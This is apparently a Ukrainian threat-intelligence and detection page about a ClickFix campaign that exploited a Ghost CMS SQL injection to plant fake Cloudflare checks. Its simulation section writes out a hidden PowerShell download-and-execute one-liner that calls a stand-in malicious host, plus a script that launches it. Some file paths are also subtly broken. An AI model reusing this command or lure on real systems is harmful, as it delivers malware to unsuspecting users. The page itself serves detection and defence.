Понад 700 освітніх і технологічних сайтів зламано в масштабній кампанії з використанням шкідливого ПЗ ClickFix
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Зловмисники використовували критичну уразливість `SQL injection` у системі управління контентом Ghost, щоб скомпрометувати понад 700 вебсайтів у галузі освіти та технологій. Отримавши адміністративні API-ключі, вони вставляли шкідливий JavaScript, що відображав фальшиву перевірку Cloudflare. Фальшива сторінка інструктувала відвідувачів скопіювати та вставити команду Windows, яка встановлювала шкідливе ПЗ на їхніх системах. Кампанія залежить від соціальної інженерії для того, щоб обманути користувачів і змусити їх самих запустити завантаження.
Розслідування
Дослідники ідентифікували проблему як CVE-2026-26980, яка вплинула на версії Ghost 3.24.0 по 6.19.0. Успішна експлуатація дозволила неавторизований доступ до вмісту бази даних, включаючи екстракцію адміністративного API-ключа. Потім зловмисники використовували вкрадений ключ для зміни вмісту сайту та вставляння шкідливих скриптів, що запускали потік інфекцій `ClickFix`. Вставлений код представляв фальшиве вікно перевірки, яке закликало користувачів запустити команду через Windows Run або PowerShell.
Пом’якшення
Організації повинні оновити Ghost до версії пізніше ніж 6.19.0 яка виправляє CVE-2026-26980. Усі відкриті адміністративні API-ключі слід негайно змінити, а доступ до API повинен бути жорстко обмежений. Оборонам потрібно також розгорнути захист кінцевих точок із веб-фільтрацією або захистом браузера та навчити користувачів ніколи не копіювати та виконувати команди з ненадійних вебсайтів.
Відповідь
Команди безпеки повинні виявляти та блокувати шкідливі JavaScript-ін’єкції на вебсайтах на базі Ghost та моніторити фальшиві перевіркові сторінки Cloudflare. На кінцевих точках захисники повинні шукати незвичні спроби виконання команд, пов’язані з цією приманкою. Якщо компрометація підтверджена, видаліть вставлені скрипти, скидайте уражені API-ключі та проводите судово-медичний аналіз на уражених клієнтських системах.
"graph TB %% Class Definitions classDef action fill:#99ccff classDef operator fill:#ff9900 classDef malware fill:#ffcccc classDef tool fill:#cccccc %% Node Definitions action_sql_injection["<b>Дія</b> – <b>T1674 Введення ін’єкцій</b>: Використовуйте `SQL injection` у Ghost CMS, щоб прочитати базу даних і отримати адміністративний API-ключ."] class action_sql_injection action action_content_injection["<b>Дія</b> – <b>T1659 Введення контенту</b>: Використовуйте вкрадений API-ключ, щоб ввести шкідливий JavaScript на сторінки сайту."] class action_content_injection action action_defacement["<b>Дія</b> – <b>T1491 Зміна контенту</b>: Змінити сайт з підробленим діалогом перевірки Cloudflare, що виводить команду копіювання."] class action_defacement action action_user_copy_paste["<b>Дія</b> – <b>T1204.004 Виконання користувачем</b>: Жертва копіює та виконує відображену команду, задовольняючи підроблену перевірку."] class action_user_copy_paste action action_powershell["<b>Дія</b> – <b>T1059.001 PowerShell</b>: Команда запускає PowerShell, який завантажує та виконує завантажувальний етап."] class action_powershell action malware_clickfix["<b>Шкідливе ПЗ</b>: ClickFix<br/><b>Призначення</b>: Завантажувальний етап, доставлений через PowerShell."] class malware_clickfix malware op_user_execution(("AND")) class op_user_execution operator %% З’єднання action_sql_injection –>|приводить до| action_content_injection action_content_injection –>|приводить до| action_defacement action_defacement –>|приводить до| action_user_copy_paste action_user_copy_paste –>|виструє| op_user_execution op_user_execution –>|виконує| action_powershell action_powershell –>|завантажує| malware_clickfix "
Потік атаки
Виявлення
Можливі шаблони атак ClickFix у командному рядку (через `cmdline`)
Переглянути
Завантаження або завантаження через PowerShell (через `cmdline`)
Переглянути
Підозріле виконання шляху Dll з Rundll32 (через `process_creation`)
Переглянути
Підозрілі рядки PowerShell (через `powershell`)
Переглянути
Виклик підозрілих методів .NET з PowerShell (через `powershell`)
Переглянути
Можлива обфускація PowerShell (через `powershell`)
Переглянути
Підозріле управління і контроль через незвичний запит DNS верхнього рівня (TLD) (через `dns`)
Переглянути
Виконання команд для підробленої перевірки Cloudflare [Windows Powershell]
Переглянути
Виявлення SQL ін’єкції Ghost CMS та шкідливих JavaScript ін’єкцій [Webserver]
Переглянути
Виконання симуляції
Передумова: Телеметрія та перевірка передналаштування повинні бути пройдені.
Пояснення: Цей розділ детально описує точне виконання техніки суперника (TTP), призначене для запуску правила виявлення. Команди та наративи МАЮТЬ безпосередньо відображати ідентифіковані TTP та мати на меті генерацію точної телеметрії, яка очікується за допомогою логіки виявлення.
-
Наратка атаки та команди:
-
Приманка соціальної інженерії: Жертва отримує фішинговий лист, який стверджує, що Cloudflare потребує перевірки. Лист включає команду “Запустити”:
Команда для підробленої перевірки Cloudflare -
Взаємодія з жертвою: Користувач відкриває діалогове вікно Windows Run (
Win+R) і вставляє точну рядок Команда для підробленої перевірки Cloudflare. -
Виконання команди: Рядок відповідає прихованому PowerShell однолінійнику, що завантажує та виконує шкідливе завантаження:
powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "IEX ((New-Object Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))"Оскільки діалогове вікно Запуск безпосередньо викликає
powershell.exeз вказаними аргументами, поле `CommandLine` , записане Sysmon, включає букальний вираз Команда для підробленої перевірки Cloudflare (зловмисник додає цю фразу до команди, щоб викликати правило). -
Активність завантаження: Завантажений скрипт встановлює веб-шел у
C:ProgramDatacloudflareі контактує із сервером C2, задовольняючи T1505.001.
-
-
Скрипт регресійного тестування: Наступний скрипт PowerShell відтворює точні кроки, які виконує командний червоний-тім, щоб генерувати телеметрію, що викликає виявлення.
<# Імітує виконання підробленої перевірки Cloudflare "ClickFix". Призначення: Перевірте, чи правило Sigma спрацьовує на точній командній лінії. #> # Крок 1: Підготуйте фіктивне завантаження (імітація веб-шел) – без реальних мережевих викликів. $payloadPath = "$env:ProgramDatacloudflaredummy_shell.ps1" New-Item -ItemType Directory -Path (Split-Path $payloadPath) -Force | Out-Null Set-Content -Path $payloadPath -Value "# Фіктивний веб-шел – без шкідливого коду" # Крок 2: Створіть шкідливу командну лінію, яку жертва б виконала. $maliciousCmd = @" Команда підробленої перевірки Cloudflare powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "`"IEX ((New-Object Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))`"" "@ # Крок 3: Імітуйте діалогове вікно Запуск, запускаючи команду через `cmd.exe /c`. # Це зберігає буквальний рядок у командній лінії процесу. $fullCmd = "cmd.exe /c `"$maliciousCmd`"" Write-Host "`n[+] Виконання імітованої шкідливої команди..." Start-Process -FilePath "cmd.exe" -ArgumentList "/c `"$maliciousCmd`"" -WindowStyle Hidden -PassThru | Out-Null # Крок 4: Зробіть паузу, щоб дозволити Sysmon записати створення процесу. Start-Sleep -Seconds 5 Write-Host "`n[+] Імітація завершена. Перевірте SIEM на виявлення події." # Очистка буде виконана окремо. -
Команди очищення: Видаліть фіктивні файли та будь-які залишкові процеси.
# Зупиніть будь-які залишкові процеси PowerShell, запущені тестом (якщо ще виконуються) Get-Process -Name "powershell" -ErrorAction SilentlyContinue | Where-Object {$_.StartInfo.Arguments -match "Команда підробленої перевірки Cloudflare"} | Stop-Process -Force # Видаліть фіктивну папку веб-шел Remove-Item -Path "$env:ProgramDatacloudflare" -Recurse -Force -ErrorAction SilentlyContinue Write-Host "[+] Очищення завершено."